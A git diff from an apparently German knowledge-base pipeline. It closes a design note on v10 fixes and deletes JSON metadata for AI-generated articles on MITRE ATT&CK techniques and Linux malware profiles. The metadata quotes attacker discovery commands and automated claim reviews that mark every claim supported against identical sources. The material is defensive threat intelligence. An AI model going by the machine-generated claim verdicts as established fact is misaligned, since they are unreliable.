`completed_total=0` oder `articles_total=0` erscheinen, obwohl SQLite bereits abgeschlossene Tasks enthielt. + +v10 liest die oeffentlichen Gesamtsummen aus dem persistenten Research-Task-Store: + +```text +completed_total +failed_total +evidence_total +articles_total +``` + +Die Prozesszaehler bleiben separat als: + +```text +process_totals +``` + +sichtbar. + +Damit ist klar getrennt: + +- **persistente Historie**; +- **Aktivitaet dieses Prozesses**. + +--- + +## 6. Zusammenspiel der vier Fixes + +Die vier Aenderungen greifen bewusst ineinander: + +```text +Graph Opportunity / Thinking Pair + │ + ├─ Relation Research + │ └─ nur einzeln akzeptierte Fulltext-Evidence darf Graphwissen werden + │ + ├─ Autonomous Research + │ └─ nur konsumierbare, semantisch deduplizierte Queue-Arbeit wird geplant + │ + ├─ Article Synthesis + │ └─ falscher operationaler Typ wird einmal korrigiert, nie weichgeprueft + │ + └─ Vector Maintenance + └─ mathematische Strukturpflege laeuft unabhaengig vom Learning-Schalter +``` + +Dadurch werden vier unterschiedliche Fehlerklassen getrennt behandelt: + +- Evidenzqualitaet; +- Orchestrierungs-/Backlogqualitaet; +- Artikelsemantik/-granularitaet; +- mathematische Graphpflege. + +Es gibt keinen gemeinsamen globalen „Quality“-Schalter, der diese Probleme verdeckt. + +--- + +## 7. Relevante Events fuer den naechsten Realtest + +### Relation Research + +```text +think.research.query.rebuilt +think.research.insufficient +``` + +Erwartung: + +- keine internen Node-IDs in oeffentlichen Queries; +- fachfremde Treffer werden vor Materialisierung verworfen; +- bei 0 akzeptierten Volltextbelegen keine beweisabhaengige Relation. + +### Autonomous Queue + +```text +autonomous.research.queue.consolidated +autonomous.research.task.merged +autonomous.research.scan.completed +``` + +Erwartung bei erreichtem Tagesbudget: + +```text +created = 0 +rejection_reason = daily_budget_exhausted +``` + +und keine weiter wachsende redundante Queue. + +### Artikel + +```text +article.type.reconsidered +article.cpu_quality.completed +article.review.completed +``` + +Erwartung: + +- ein operationaler Draft ohne belastbare Steps wird hoechstens einmal umgeplant; +- bei Reclassification entsteht ein neuer Draft; +- dieser erreicht CPU Quality und danach Claim-/Coverage-Review. + +### Vector Maintenance + +```text +vector.graph.maintenance.started +vector.graph.rebuilt +vector.graph.maintenance.completed +``` + +Erwartung bei `LAYOUT=false + RELAX=true`: + +```text +layout_mode = relax +``` + +und `last_vector_layout` aendert sich nur, wenn echte Positionsupdates geschrieben wurden. + +--- + +## 8. Unveraenderte Grenzen + +v10 aendert bewusst **nicht**: + +- Vector Similarity-/Affinity-Schwellen; +- Orphan-Graph-Qualitaetsschwellen; +- `solution_steps >= 3` fuer operationale Artikel; +- CPU-Quality-Mindesttiefe; +- Claim-/Coverage-Reviewer-Schwellen; +- Docker-Controller-Policy; +- Source-Inbox-Security-Gates; +- das vom Benutzer fuer Tests gesetzte `BRAIN_AUTONOMOUS_RESEARCH_INTERVAL=10m`. + +Die Korrekturen betreffen Routing, Evidence-Materialisierung, Queue-Kapazitaet und Maintenance-Orchestrierung – nicht das Absenken bestehender Qualitaetsregeln. diff --git a/data/article-fingerprints/18ef3c86f6331d17713325e7384f2e9ba299c43cb54554cb998a8628b0103a94.json b/data/article-fingerprints/18ef3c86f6331d17713325e7384f2e9ba299c43cb54554cb998a8628b0103a94.json deleted file mode 100644 index 425abc6..0000000 --- a/data/article-fingerprints/18ef3c86f6331d17713325e7384f2e9ba299c43cb54554cb998a8628b0103a94.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "action": "merge", - "article_id": "KB-AI-THINK-ARTICLE-20260809-18EF3C86F633", - "article_type": "reference", - "fingerprint": "18ef3c86f6331d17713325e7384f2e9ba299c43cb54554cb998a8628b0103a94", - "generated_at": "2026-08-09T03:29:56.3478332Z", - "schema": "article-source-fingerprint/v1", - "target_article_id": "24726dc38248d6e6f97c02d3" -} diff --git a/data/article-fingerprints/ce6f8803db12333e181f28c7a9506ac96df8878a44415cdc82ccf8c79bf8fae9.json b/data/article-fingerprints/ce6f8803db12333e181f28c7a9506ac96df8878a44415cdc82ccf8c79bf8fae9.json deleted file mode 100644 index 7054d0d..0000000 --- a/data/article-fingerprints/ce6f8803db12333e181f28c7a9506ac96df8878a44415cdc82ccf8c79bf8fae9.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "action": "merge", - "article_id": "KB-AI-THINK-ARTICLE-20260809-CE6F8803DB12", - "article_type": "reference", - "fingerprint": "ce6f8803db12333e181f28c7a9506ac96df8878a44415cdc82ccf8c79bf8fae9", - "generated_at": "2026-08-09T03:36:38.6018739Z", - "schema": "article-source-fingerprint/v1", - "target_article_id": "5c3da788f26f38c16e056309" -} diff --git a/data/article-metadata/kb-ai-think-article-20260809-18ef3c86f633.json b/data/article-metadata/kb-ai-think-article-20260809-18ef3c86f633.json deleted file mode 100644 index d6a1eba..0000000 --- a/data/article-metadata/kb-ai-think-article-20260809-18ef3c86f633.json +++ /dev/null @@ -1,244 +0,0 @@ -{ - "action": "merge", - "ai_source_count": 0, - "article_id": "KB-AI-THINK-ARTICLE-20260809-18EF3C86F633", - "article_path": "E:\\GoProjects\\glpi-neural-brain\\staging\\kb-ai-think-article-20260809-18ef3c86f633.json", - "article_review": { - "accepted": true, - "confidence": 0.95, - "meta_content_detected": false, - "unsupported_claims": null, - "issues": null, - "claim_reviews": [ - { - "claim": "Die Ausnutzung dieser TTPs kann zur Kompromittierung von Systemen, Datenmanipulation und zur Durchführung von Lateral Movement führen.", - "verdict": "supported", - "source_refs": [ - "24726dc38248d6e6f97c02d3", - "7046beb93fb30a1d3811132e", - "a28b1f725cd6b0a4f26ff9fb", - "b85afb95a4e16438f37a45ca", - "da9f34c9e1cff557664ae4ea" - ], - "reason": "Die TTPs sind in den internen Quellen als Malware und als Verhaltensmuster beschrieben, die zur Kompromittierung führen können." - }, - { - "claim": "Die Malware nutzt häufig Linux-spezifische Funktionen wie Cronjobs, SSH-Autorisierungskeys und Kernelmodule.", - "verdict": "supported", - "source_refs": [ - "24726dc38248d6e6f97c02d3", - "7046beb93fb30a1d3811132e", - "a28b1f725cd6b0a4f26ff9fb", - "b85afb95a4e16438f37a45ca", - "da9f34c9e1cff557664ae4ea" - ], - "reason": "Die internen Quellen beschreiben explizit die Nutzung von Cronjobs, SSH-Autorisierungskeys und Kernelmodulen in den TTPs der genannten Malwareprofile." - }, - { - "claim": "Diese Profile dienen der Erkennung, Triage und Forensik und enthalten keine Bedienungs- oder Einsatzanleitung.", - "verdict": "supported", - "source_refs": [ - "24726dc38248d6e6f97c02d3", - "7046beb93fb30a1d3811132e", - "a28b1f725cd6b0a4f26ff9fb", - "b85afb95a4e16438f37a45ca", - "da9f34c9e1cff557664ae4ea" - ], - "reason": "Die internen Quellen bestätigen explizit, dass die Profile nur zur Erkennung, Triage und Forensik dienen und keine Bedienungsanleitung enthalten." - }, - { - "claim": "Gemeinsame beobachtete TTPs umfassen: T1014 (Rootkit), T1059.004 (Unix Shell) und T1685 (Disable or Modify Tools).", - "verdict": "supported", - "source_refs": [ - "24726dc38248d6e6f97c02d3", - "7046beb93fb30a1d3811132e", - "a28b1f725cd6b0a4f26ff9fb", - "b85afb95a4e16438f37a45ca", - "da9f34c9e1cff557664ae4ea" - ], - "reason": "Die internen Quellen beschreiben explizit die TTPs T1014, T1059.004 und T1685 als beobachtete Verhaltensmuster der genannten Malwareprofile." - }, - { - "claim": "Die Softwareprofile COATHANGER (S1105), Skidmap (S0468), Drovorub (S0502), Ebury (S0377) und REPTILE (S1219) sind in MITRE ATT\u0026CK als Malware geführt.", - "verdict": "supported", - "source_refs": [ - "24726dc38248d6e6f97c02d3", - "7046beb93fb30a1d3811132e", - "a28b1f725cd6b0a4f26ff9fb", - "b85afb95a4e16438f37a45ca", - "da9f34c9e1cff557664ae4ea" - ], - "reason": "Die internen Quellen bestätigen explizit, dass die genannten Softwareprofile in MITRE ATT\u0026CK als Malware geführt sind." - } - ] - }, - "confidence": 0.95, - "generated_at": "2026-08-09T03:29:56.3473216Z", - "generation_depth": 1, - "grounded_research_evidence": [], - "knowledge_brief": { - "topic": "T1014 / T1059.004 / T1685", - "purpose": "Die Quellen beschreiben jeweils separate Malware-Profile mit gemeinsamen TTPs (T1014, T1059.004, T1685), die in der jeweiligen Software- und Gruppenkontexte relevant sind. Ein gemeinsamer Artikel zur Konsolidierung dieser TTPs und ihrer Verhaltensmuster in der jeweiligen Umgebung ist sinnvoll, um eine umfassende Erkennung und Forensik zu ermöglichen. Die Quellen sind produktiv und können als Staging-Entwurf für einen referenziellen Artikel zur Konsolidierung der TTPs genutzt werden.", - "scope": null, - "facts": null, - "symptoms": null, - "prerequisites": null, - "solution_steps": null, - "validation_steps": null, - "troubleshooting": null, - "contradictions": null, - "critical_gaps": null, - "optional_gaps": null, - "resolved_gaps": null, - "missing_information": null, - "research_queries": null, - "ready_for_article": true - }, - "language": "de-DE", - "open_questions": null, - "pipeline": "adaptive_generate_review/v2", - "planning": { - "article_type": "reference", - "contradictions": [], - "expected_value": "T1014 / T1059.004 / T1685", - "missing_information": [], - "reason": "Die Quellen beschreiben jeweils separate Malware-Profile mit gemeinsamen TTPs (T1014, T1059.004, T1685), die in der jeweiligen Software- und Gruppenkontexte relevant sind. Ein gemeinsamer Artikel zur Konsolidierung dieser TTPs und ihrer Verhaltensmuster in der jeweiligen Umgebung ist sinnvoll, um eine umfassende Erkennung und Forensik zu ermöglichen. Die Quellen sind produktiv und können als Staging-Entwurf für einen referenziellen Artikel zur Konsolidierung der TTPs genutzt werden." - }, - "production_ratio": 1, - "productive_source_count": 7, - "research_material": [ - { - "actionable": false, - "assessment_reason": "Vorab durch Source-Agent gesammelt und vom Brain als thematisch passend zur Knowledgebase klassifiziert.", - "content_type": "text/html", - "covered_gap_ids": null, - "excerpt": "Sicherheitsforscher entdecken unter anderem kritische Lücken in TP-Link Omada, die sich auf weitere Netzwerkkomponenten ausweiten.", - "fetched": true, - "language": "", - "query": "T1014 / T1059.004 / T1685 aktuelle offizielle Dokumentation Version Support", - "relevance": 0.32922420546949904, - "relevant": true, - "round": 0, - "source_quality": "source_inbox", - "source_quality_score": 0.68, - "title": "Sicherheitsupdates: TP-Links Netzwerk-Ökosystem Omada ist kompromittierbar", - "url": "https://www.heise.de/news/Sicherheitsupdates-TP-Links-Netzwerk-Oekosystem-Omada-ist-kompromittierbar-11399435.html" - }, - { - "actionable": true, - "assessment_reason": "Volltextmaterial für die Artikelsynthese gesammelt; die fachliche Belegprüfung erfolgt anschließend am generierten Artikel.", - "content_type": "text/html", - "covered_gap_ids": [ - "ADAPTIVE-1" - ], - "excerpt": "T1059.004\n\nCommand and Scripting Interpreter: Bash\n\nCopy Markdown Open with LLM\n\nDescription from ATT\u0026CK\n\nAdversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interacti…", - "fetched": true, - "language": "en-US", - "query": "T1014 / T1059.004 / T1685 aktuelle offizielle Dokumentation Version Support", - "relevance": 0.4533333333333333, - "relevant": true, - "round": 1, - "source_quality": "primary", - "source_quality_score": 0.88, - "title": "Atomic Red Team™: T1059.004", - "url": "https://www.atomicredteam.io/docs/atomics/T1059.004" - }, - { - "actionable": true, - "assessment_reason": "Volltextmaterial für die Artikelsynthese gesammelt; die fachliche Belegprüfung erfolgt anschließend am generierten Artikel.", - "content_type": "text/html", - "covered_gap_ids": [ - "ADAPTIVE-1" - ], - "excerpt": "Command and Scripting Interpreter: Unix Shell, Sub-technique T1059.004 - Enterprise | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nTechniques\n\nEnterprise\n\nCommand and Scripting Interpreter\n\nUnix Shell\n\nCommand and Scripting Interpreter:\nUnix Shell\n\nOther sub-techniques of Command and Scripting Interpreter\n(13)\n\nID\n\nName\n\nT1059.001\n\nPowerShell\n\nT1059.002\n\nAppleScript\n\nT1059.003\n\nWindows Command Shell\n\nT1059.004\n\nUnix Shell\n\nT1059.005\n\nVisual Basic\n\nT1059.006\n\nPython\n\nT1059.007\n\nJavaScript\n\nT1059.008\n\nNetwork Device CLI\n\nT1059.009\n\nCloud API\n\nT1059.010\n\nAutoHotKey \u0026 AutoIT\n\nT1059.011\n\nLua\n\nT1059.012\n\nHypervisor CLI\n\nT1059.013\n\nContainer CLI/API\n\nAdversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary…", - "fetched": true, - "language": "en-US", - "query": "T1014 / T1059.004 / T1685 aktuelle offizielle Dokumentation Version Support", - "relevance": 0.4533333333333333, - "relevant": true, - "round": 1, - "source_quality": "reputable_secondary", - "source_quality_score": 0.68, - "title": "Command and Scripting Interpreter: Unix Shell, Sub-technique T1059.004 - Enterprise | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/techniques/T1059/004/" - }, - { - "actionable": false, - "assessment_reason": "Vorab durch Source-Agent gesammelt und vom Brain als thematisch passend zur Knowledgebase klassifiziert.", - "content_type": "text/html", - "covered_gap_ids": null, - "excerpt": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Ansible Automation Platform ausnutzen, um Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, einen Denial-of-Service-Zustand auszulösen oder beliebigen Code auszuführen.", - "fetched": true, - "language": "", - "query": "T1014 / T1059.004 / T1685 current official documentation version support", - "relevance": 0.3523682560556384, - "relevant": true, - "round": 0, - "source_quality": "source_inbox", - "source_quality_score": 0.68, - "title": "[UPDATE] [hoch] Red Hat Ansible Automation Platform (node-tar, linkify-it, protobufjs, brace-expansion, fast-uri, DOMPurify): Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2452" - }, - { - "actionable": false, - "assessment_reason": "Vorab durch Source-Agent gesammelt und vom Brain als thematisch passend zur Knowledgebase klassifiziert.", - "content_type": "text/html", - "covered_gap_ids": null, - "excerpt": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um Sicherheitsvorkehrungen zu umgehen, Daten zu manipulieren, Cross-Site-Scripting-Angriffe durchzuführen, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.", - "fetched": true, - "language": "", - "query": "T1014 / T1059.004 / T1685 current official documentation version support", - "relevance": 0.35112975223628945, - "relevant": true, - "round": 0, - "source_quality": "source_inbox", - "source_quality_score": 0.68, - "title": "[UPDATE] [mittel] Golang Go: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1437" - }, - { - "actionable": false, - "assessment_reason": "Vorab durch Source-Agent gesammelt und vom Brain als thematisch passend zur Knowledgebase klassifiziert.", - "content_type": "text/html", - "covered_gap_ids": null, - "excerpt": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Apache Portable Runtime (APR) ausnutzen, um SQL-Injection durchzuführen, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.", - "fetched": true, - "language": "", - "query": "T1014 / T1059.004 / T1685 current official documentation version support", - "relevance": 0.35080332925190905, - "relevant": true, - "round": 0, - "source_quality": "source_inbox", - "source_quality_score": 0.68, - "title": "[NEU] [hoch] Apache Portable Runtime (APR): Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2697" - } - ], - "research_query": "", - "review_model": "qwen3:8b", - "review_repair_attempts": 0, - "source_fingerprint": "18ef3c86f6331d17713325e7384f2e9ba299c43cb54554cb998a8628b0103a94", - "source_node_ids": [ - "0a6db0c3b08a3d6ed51e00d1", - "24726dc38248d6e6f97c02d3", - "7046beb93fb30a1d3811132e", - "a28b1f725cd6b0a4f26ff9fb", - "b85afb95a4e16438f37a45ca", - "da9f34c9e1cff557664ae4ea", - "ec370a4e6742cfb9c586690b" - ], - "source_nodes": [ - "KB-SEC-ATTCK-SW-0022", - "KB-SEC-ATTCK-SW-0041", - "KB-SEC-ATTCK-SW-0042", - "KB-SEC-ATTCK-SW-0045", - "KB-SEC-ATTCK-SW-0061", - "KB-SEC-ATTCK-SW-0115", - "KB-SEC-ATTCK-SW-0130" - ], - "status": "staging", - "subtype": "knowledge_synthesis", - "synthesis_model": "gemma3:12b", - "target_article_id": "KB-SEC-ATTCK-SW-0022", - "target_node_id": "24726dc38248d6e6f97c02d3" -} diff --git a/data/article-metadata/kb-ai-think-article-20260809-ce6f8803db12.json b/data/article-metadata/kb-ai-think-article-20260809-ce6f8803db12.json deleted file mode 100644 index 7e55f8e..0000000 --- a/data/article-metadata/kb-ai-think-article-20260809-ce6f8803db12.json +++ /dev/null @@ -1,242 +0,0 @@ -{ - "action": "merge", - "ai_source_count": 0, - "article_id": "KB-AI-THINK-ARTICLE-20260809-CE6F8803DB12", - "article_path": "E:\\GoProjects\\glpi-neural-brain\\staging\\kb-ai-think-article-20260809-ce6f8803db12.json", - "article_review": { - "accepted": true, - "confidence": 0.95, - "meta_content_detected": false, - "unsupported_claims": null, - "issues": null, - "claim_reviews": [ - { - "claim": "ATT\u0026CK-Techniken dienen als Hunting-Hypothesen, nicht als starre Signaturen.", - "verdict": "supported", - "source_refs": [ - "1bc981203dc98432be9e722c", - "25981c5b303a2504cbc61564", - "270f0077cccaf15914f840e2", - "3ccbf9acf76f74209380ed40", - "5c3da788f26f38c16e056309", - "5e036fff1538ff653441edd5", - "d458920d4b3f2c27ce172f2d" - ], - "reason": "Die Quellen bestätigen, dass ATT\u0026CK-Zuordnungen allein keine belastbaren Attributionsbeweise sind und zur defensiven Korrelation dienen." - }, - { - "claim": "Die Attribution von Bedrohungsaktivitäten erfordert mehrere unabhängige Quellen und sollte Unsicherheiten explizit dokumentieren.", - "verdict": "supported", - "source_refs": [ - "1bc981203dc98432be9e722c", - "25981c5b303a2504cbc61564", - "270f0077cccaf15914f840e2", - "3ccbf9acf76f74209380ed40", - "5c3da788f26f38c16e056309", - "5e036fff1538ff653441edd5", - "d458920d4b3f2c27ce172f2d" - ], - "reason": "Die Quellen bestätigen, dass ATT\u0026CK-Zuordnungen allein keine belastbaren Attributionsbeweise sind und dass Unsicherheiten dokumentiert werden müssen." - }, - { - "claim": "Die Techniken T1087.002 (Domain Account), T1560.001 (Archive via Utility) und T1018 (Remote System Discovery) werden von verschiedenen Threat-Gruppen in Cloud- und Domänenumgebungen eingesetzt.", - "verdict": "supported", - "source_refs": [ - "1bc981203dc98432be9e722c", - "25981c5b303a2504cbc61564", - "270f0077cccaf15914f840e2", - "3ccbf9acf76f74209380ed40", - "5c3da788f26f38c16e056309", - "5e036fff1538ff653441edd5", - "d458920d4b3f2c27ce172f2d" - ], - "reason": "Die Quellen bestätigen, dass die genannten Techniken in den Threat-Intelligence-Profilen der genannten Gruppen vorkommen und in Cloud- und Domänenumgebungen angewendet werden." - }, - { - "claim": "Mehrere Threat-Intelligence-Profile (G0045, G1054, G0059, G0060, G0125) enthalten sich überschneidende ATT\u0026CK-Techniken.", - "verdict": "supported", - "source_refs": [ - "1bc981203dc98432be9e722c", - "25981c5b303a2504cbc61564", - "270f0077cccaf15914f840e2", - "3ccbf9acf76f74209380ed40", - "5c3da788f26f38c16e056309", - "5e036fff1538ff653441edd5", - "d458920d4b3f2c27ce172f2d" - ], - "reason": "Die Quellen bestätigen, dass die genannten Threat-Intelligence-Profile sich in ihren Techniken überschneiden." - } - ] - }, - "confidence": 0.95, - "generated_at": "2026-08-09T03:36:38.6013562Z", - "generation_depth": 1, - "grounded_research_evidence": [], - "knowledge_brief": { - "topic": "merge", - "purpose": "Die Quellen enthalten mehrere produktive Artikel zu verschiedenen Threat-Gruppen und Kampagnen, die sich in Bezug auf ATT\u0026CK-Techniken und TTPs überschneiden. Sie können als Staging-Entwurf in einen gemeinsamen Referenzartikel zu ATT\u0026CK-Techniken in Cloud- und Domänenumgebungen konsolidiert werden. Der Zielartikel würde eine umfassende Referenz zu Techniken wie T1087.002, T1560.001 und T1018 sowie deren Anwendung in diesen Umgebungen bieten.", - "scope": null, - "facts": null, - "symptoms": null, - "prerequisites": null, - "solution_steps": null, - "validation_steps": null, - "troubleshooting": null, - "contradictions": null, - "critical_gaps": null, - "optional_gaps": null, - "resolved_gaps": null, - "missing_information": null, - "research_queries": [ - "Welche Unterschiede und Gemeinsamkeiten bestehen zwischen den Techniken T1018, T1560.001 und T1087.002 in Bezug auf ihre Anwendung in Cloud- und Domänenumgebungen?" - ], - "ready_for_article": true - }, - "language": "de-DE", - "open_questions": null, - "pipeline": "adaptive_generate_review/v2", - "planning": { - "article_type": "reference", - "contradictions": [], - "expected_value": "merge", - "missing_information": [], - "reason": "Die Quellen enthalten mehrere produktive Artikel zu verschiedenen Threat-Gruppen und Kampagnen, die sich in Bezug auf ATT\u0026CK-Techniken und TTPs überschneiden. Sie können als Staging-Entwurf in einen gemeinsamen Referenzartikel zu ATT\u0026CK-Techniken in Cloud- und Domänenumgebungen konsolidiert werden. Der Zielartikel würde eine umfassende Referenz zu Techniken wie T1087.002, T1560.001 und T1018 sowie deren Anwendung in diesen Umgebungen bieten." - }, - "production_ratio": 1, - "productive_source_count": 8, - "research_material": [ - { - "actionable": true, - "assessment_reason": "Die Quelle beschreibt die Technik T1087.002 (Domain Account) im Kontext von Cloud- und Domänenumgebungen, aber sie behandelt nicht direkt T1018 oder T1560.001. Sie bietet jedoch eine fachlich relevante Beschreibung der Anwendung von T1087.002 in Domänenumgebungen, was eine Teilabdeckung der Wissenslücke ist.", - "content_type": "text/html", - "covered_gap_ids": [ - "AR-f8037740-1" - ], - "excerpt": "Account Discovery: Domain Account, Sub-technique T1087.002 - Enterprise | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nTechniques\n\nEnterprise\n\nAccount Discovery\n\nDomain Account\n\nAccount Discovery:\nDomain Account\n\nOther sub-techniques of Account Discovery\n(4)\n\nID\n\nName\n\nT1087.001\n\nLocal Account\n\nT1087.002\n\nDomain Account\n\nT1087.003\n\nEmail Account\n\nT1087.004\n\nCloud Account\n\nAdversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux ca…", - "fetched": true, - "language": "de-DE", - "query": "Welche Unterschiede und Gemeinsamkeiten bestehen zwischen den Techniken T1018, T1560.001 und T1087.002 in Bezug auf ihre Anwendung in Cloud- und Domänenumgebungen?", - "relevance": 0.6470588235294117, - "relevant": true, - "round": 1, - "source_quality": "primary", - "source_quality_score": 0.8560000000000001, - "title": "Account Discovery: Domain Account, Sub-technique T1087.002 - Enterprise | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/techniques/T1087/002/" - }, - { - "actionable": false, - "assessment_reason": "Vorab durch Source-Agent gesammelt und vom Brain als thematisch passend zur Knowledgebase klassifiziert.", - "content_type": "text/html", - "covered_gap_ids": null, - "excerpt": "Ein lokaler Angreifer kann mehrere Schwachstellen in AMD ARM und EPYC Prozessoren ausnutzen, um Sicherheitsvorkehrungen zu umgehen und Daten zu manipulieren.", - "fetched": true, - "language": "", - "query": "Welche Unterschiede und Gemeinsamkeiten bestehen zwischen den Techniken T1018, T1560.001 und T1087.002 in Bezug auf ihre Anwendung in Cloud- und Domänenumgebungen?", - "relevance": 0.38594520333819804, - "relevant": true, - "round": 0, - "source_quality": "source_inbox", - "source_quality_score": 0.68, - "title": "[UPDATE] [hoch] AMD ARM und EPYC Prozessoren: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1859" - }, - { - "actionable": false, - "assessment_reason": "Vorab durch Source-Agent gesammelt und vom Brain als thematisch passend zur Knowledgebase klassifiziert.", - "content_type": "text/html", - "covered_gap_ids": null, - "excerpt": "Ein Angreifer kann mehrere Schwachstellen in Golang Go ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen, um einen Denial of Service durchzuführen, und um falsche Informationen darzustellen.", - "fetched": true, - "language": "", - "query": "Welche Unterschiede und Gemeinsamkeiten bestehen zwischen den Techniken T1018, T1560.001 und T1087.002 in Bezug auf ihre Anwendung in Cloud- und Domänenumgebungen?", - "relevance": 0.369322383177596, - "relevant": true, - "round": 0, - "source_quality": "source_inbox", - "source_quality_score": 0.68, - "title": "[UPDATE] [hoch] Golang Go: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1776" - }, - { - "actionable": false, - "assessment_reason": "Vorab durch Source-Agent gesammelt und vom Brain als thematisch passend zur Knowledgebase klassifiziert.", - "content_type": "text/html", - "covered_gap_ids": null, - "excerpt": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel für eine Privilegieneskalation ausnutzen, sowie um einen Denial of Service Zustand oder andere, nicht spezifizierte Auswirkungen herbeizuführen.", - "fetched": true, - "language": "", - "query": "Welche Unterschiede und Gemeinsamkeiten bestehen zwischen den Techniken T1018, T1560.001 und T1087.002 in Bezug auf ihre Anwendung in Cloud- und Domänenumgebungen?", - "relevance": 0.3683616679186025, - "relevant": true, - "round": 0, - "source_quality": "source_inbox", - "source_quality_score": 0.68, - "title": "[UPDATE] [mittel] Linux Kernel: Schwachstelle ermöglicht Privilegieneskalation und Denial of Service", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1756" - }, - { - "actionable": false, - "assessment_reason": "Vorab durch Source-Agent gesammelt und vom Brain als thematisch passend zur Knowledgebase klassifiziert.", - "content_type": "text/html", - "covered_gap_ids": null, - "excerpt": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in GNU libc ausnutzen, um DNS Antworten zu manipulieren.", - "fetched": true, - "language": "", - "query": "merge aktuelle offizielle Dokumentation Version Support", - "relevance": 0.35063830867762935, - "relevant": true, - "round": 0, - "source_quality": "source_inbox", - "source_quality_score": 0.68, - "title": "[UPDATE] [mittel] GNU libc: Mehrere Schwachstellen ermöglichen Manipulation von DNS Antworten", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0817" - }, - { - "actionable": false, - "assessment_reason": "Vorab durch Source-Agent gesammelt und vom Brain als thematisch passend zur Knowledgebase klassifiziert.", - "content_type": "text/html", - "covered_gap_ids": null, - "excerpt": "Mehrere kritische Lücken gefährden Netzwerkprodukte von Cisco. Amins sollten zügig die reparierten Versionen installieren.", - "fetched": true, - "language": "", - "query": "merge aktuelle offizielle Dokumentation Version Support", - "relevance": 0.3497161656683244, - "relevant": true, - "round": 0, - "source_quality": "source_inbox", - "source_quality_score": 0.68, - "title": "Sicherheitsupdates Cisco: Angreifer können WAN-Umgebungen stören", - "url": "https://www.heise.de/news/Sicherheitsupdates-Cisco-Angreifer-koennen-WAN-Umgebungen-stoeren-11402697.html" - } - ], - "research_query": "Welche Unterschiede und Gemeinsamkeiten bestehen zwischen den Techniken T1018, T1560.001 und T1087.002 in Bezug auf ihre Anwendung in Cloud- und Domänenumgebungen?", - "review_model": "qwen3:8b", - "review_repair_attempts": 0, - "source_fingerprint": "ce6f8803db12333e181f28c7a9506ac96df8878a44415cdc82ccf8c79bf8fae9", - "source_node_ids": [ - "1bc981203dc98432be9e722c", - "25981c5b303a2504cbc61564", - "270f0077cccaf15914f840e2", - "3ccbf9acf76f74209380ed40", - "5c3da788f26f38c16e056309", - "5e036fff1538ff653441edd5", - "a14ee500809c3b85bb48e0dd", - "d458920d4b3f2c27ce172f2d" - ], - "source_nodes": [ - "KB-SEC-ATTCK-CAMP-042", - "KB-SEC-ATTCK-CAMP-051", - "KB-SEC-ATTCK-GRP-022", - "KB-SEC-ATTCK-GRP-029", - "KB-SEC-ATTCK-GRP-073", - "KB-SEC-ATTCK-GRP-090", - "KB-SEC-ATTCK-GRP-094", - "KB-SEC-ATTCK-GRP-170" - ], - "status": "staging", - "subtype": "knowledge_synthesis", - "synthesis_model": "gemma3:12b", - "target_article_id": "KB-SEC-ATTCK-GRP-170", - "target_node_id": "5c3da788f26f38c16e056309" -} diff --git a/data/article-work-fingerprints/4525b7f889d1c486e03c7d29af0e58e267f5154a856bb42e0372a8453051ee97.json b/data/article-work-fingerprints/4525b7f889d1c486e03c7d29af0e58e267f5154a856bb42e0372a8453051ee97.json deleted file mode 100644 index 3f5ccdb..0000000 --- a/data/article-work-fingerprints/4525b7f889d1c486e03c7d29af0e58e267f5154a856bb42e0372a8453051ee97.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "article_id": "KB-AI-THINK-ARTICLE-20260809-CE6F8803DB12", - "fingerprint": "4525b7f889d1c486e03c7d29af0e58e267f5154a856bb42e0372a8453051ee97", - "generated_at": "2026-08-09T03:36:40.153327Z", - "relation_type": "same_topic", - "schema": "article-work-fingerprint/v1", - "topic_label": "T1018 / T1560.001 / T1087.002" -} diff --git a/data/article-work-fingerprints/bb07425da81c44dea2c1d416de643ac978c9c49d2bc5e617c9c93f16482861d5.json b/data/article-work-fingerprints/bb07425da81c44dea2c1d416de643ac978c9c49d2bc5e617c9c93f16482861d5.json 